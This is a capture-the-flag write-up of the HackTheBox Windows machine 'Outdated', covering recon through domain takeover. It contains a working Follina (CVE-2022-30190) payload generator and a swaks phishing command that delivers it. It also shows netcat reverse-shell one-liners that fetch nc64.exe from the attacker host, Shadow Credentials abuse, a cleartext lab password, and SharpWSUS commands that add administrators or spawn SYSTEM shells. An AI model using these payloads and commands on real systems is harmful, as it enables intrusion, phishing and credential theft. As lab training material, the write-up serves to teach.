Outdated

Reading Time: 6 min read

#kerbrute#netexec#enum4linux#CVE-2022-30190#phishing#swaks#AddKeyCredentialLink#ShadowCredentialsAttack#SharpWSUS#BloodHound

Start 07:58 27-09-2025

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Scope:
10.10.11.175

Recon

Nmap

sudo nmap -sV -sC -sT -p- outdated.htb -T5 --min-rate=5000 -vvvv -Pn

PORT      STATE SERVICE       REASON  VERSION
25/tcp    open  smtp          syn-ack hMailServer smtpd
| smtp-commands: mail.outdated.htb, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-09-27 14:00:55Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.outdated.htb
| Issuer: commonName=outdated-DC-CA/domainComponent=outdated
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8530/tcp  open  http          syn-ack Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Site doesnt have a title.
|_http-server-header: Microsoft-IIS/10.0
8531/tcp  open  unknown       syn-ack
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49689/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         syn-ack Microsoft Windows RPC
49901/tcp open  msrpc         syn-ack Microsoft Windows RPC
58694/tcp open  msrpc         syn-ack Microsoft Windows RPC
58712/tcp open  msrpc         syn-ack Microsoft Windows RPC

There’s a web server open on 8530 and smtp seems to be open as well. Furthermore this seems to be a Domain Controller inside the outdated.htb domain called DC.outdated.htb.

I also noticed the mail.outdated.htb subdomain present as mentioned by smtp.

88/TCP - Kerberos

Kerbrute

I started off by enumerating any and all usernames inside the domain using the statistically-likely-usernames repo:

From this I went ahead and made a users.txt list for further password spraying.

sflowers
Administrator
Guest
client

445/TCP - SMB

netexec - password spray

By using this user list I went ahead and sprayed it against the DC:

We got a valid match!

client
sflowers

netexec - enum

I then went ahead and started enumerating what sort of access this user had:

Seems like we can’t enumerate the shares but we do have access to ldap.

Enum4Linux-ng

Since we have a valid set we can use it with enum4linux-ng to enumerate the DC:

Further down we find the network shares present:

Since this script told us that authentication with blank usernames and password is allowed we might just do that:

There’s one file present inside the Shares share which we can read and access:

Let’s download the file and check it out.

This looks really promising!

We also get an email from this.

itsupport@outdated.htb

Exploitation

CVE-2022-30190

I started digging into this one:

This led me to another blog post

So naturally I looked it up on github.

We can use the following gihub repo for reference by John Hammond:

Let’s check out how to run this:

I moved the two files over to my directory and got to work:

Since the follina.py script is quite extensive we can instead narrow it down just to the following:

#!/usr/bin/env python3

import base64
import random
import string
import sys

if len(sys.argv) > 1:
    command = sys.argv[1]
else:
    command = "IWR http://10.10.14.7/nc64.exe -outfile C:\\programdata\\nc64.exe; C:\\programdata\\nc64.exe 10.10.14.7 443 -e cmd"

base64_payload = base64.b64encode(command.encode("utf-8")).decode("utf-8")

# Slap together a unique MS-MSDT payload that is over 4096 bytes at minimum
html_payload = f"""<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\""; //"""
html_payload += (
    "".join([random.choice(string.ascii_lowercase) for _ in range(4096)])
    + "\n</script>"
)

print(html_payload)

We save it and run it and save the output to an .html file:

We can then set it up.

Phishing for access

We need the following for the payload to fire:

# Swaks command
sudo swaks -t itsupport@outdated.htb --from tester@test.htb --server 10.10.11.175 --body "http://10.10.14.7/test_file.html" --header "Subject:Internal Web App" --suppress-data

# Python server
http 80

# Listener
rlwrap nc -lvnp 443

Upon running and waiting for a short while we get a response:

Foothold

Shell as btables

Afterwards I created another reverse shell to penelope in order to get a more stable shell using Powershell #3 (Base64) from RevShells.

Right away I noticed that I landed inside either the internal network or a HyperV container, and not inside the actual external machine:

Nevertheless I enumerated the user:

We find a valid credentials set which we might be able to use later on:

btables@outdated.htb
GHKKb7GEHcccdCT8tQV2QwL3

BloodHound

Time to do some enum.

It seems we are the only ones with sflowers on this domain as regular users, let’s see if we can get an edge over them.

I then went ahead and transfered the .zip file over to kali.

Let’s get to graphing.

As expected, we can easily own sflowers in order to achieve full access over the domain.

Shadow Credentials - AddKeyCredentialLink

As per SpecterOps:

Note

Writing to this property allows an attacker to create “Shadow Credentials” on the object and authenticate as the principal using kerberos PKINIT.

We can abuse this permission using pywhisker:

We can’t use this one yet since we don’t have valid creds.

Note

For reference, I tried using the previously found credentials but they didn’t work:

This meant that instead I’d have to download over the Windows version:

Instead of building the .exe executable I downloaded over the .ps1 module from here:

We can run it as follows:

Invoke-Whisker -command "add /target:sflowers"

Upon running we see this output:

Let’s upload rubeus.exe:

I copy pasted the outputted command and let it run, and all the way at the bottom we see the NTLM hash:

Lateral Movement as sflowers

We can move to sflowers now:

Now that we’re in we should do some digging.

It looks like the other network was indeed inside a Hyper-V instance.

user.txt

Privilege Escalation

SharpWSUS

Checking back inside BloodHound we notice that we’re part of the WSUS Administrators group:

We can exploit this group membership by using SharpWSUS:

Namely we can exploit it using the following command to create a psexec instance:

SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"

I will yet again use this script instead of building the .exe version.

We can test if it works:

Next up we need to download over the psexec.exe binary:

I download the zip and transfer the binary I need:

Let’s chain it together.

Invoke-SharpWSUS create /payload:'C:\Users\sflowers\psexec.exe' /args:'-accepteula' -s -d cmd.exe /c \'net user tester Password123! /add && net localgroup Administrators tester /add\' /title:'Testing'

Invoke-SharpWSUS approve /updateid:2c42b515-101b-4c18-ab80-be3688d57798 /computername:dc.outdated.htb /groupname:"Test"

Invoke-SharpWSUS check /updateid:3c71320a-edbe-431f-9c71-e82515ceb8b4 /computername:dc.outdated.htb

❌ Fail

This ended up soft failing and did not create a user, so instead I opted for a reverse shell.

I instead uploaded nc.exe and created a reverse shell that way:

Invoke-SharpWSUS create /payload:"C:\Users\sflowers\psexec.exe" /args:"-accepteula -s -d c:\Users\sflowers\nc.exe -e cmd.exe 10.10.14.7 443" /title:"Test5"

Afterwards we use the approve command:

Invoke-SharpWSUS approve /updateid:d68ae9a7-913a-415e-881f-e6d3a7272d58 /computername:dc.outdated.htb /groupname:"Test5"

The result is a SYSTEM shell:

The above commands may fail or just not execute, keep trying and it will work eventually.

root.txt

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Finished 12:30 27-09-2025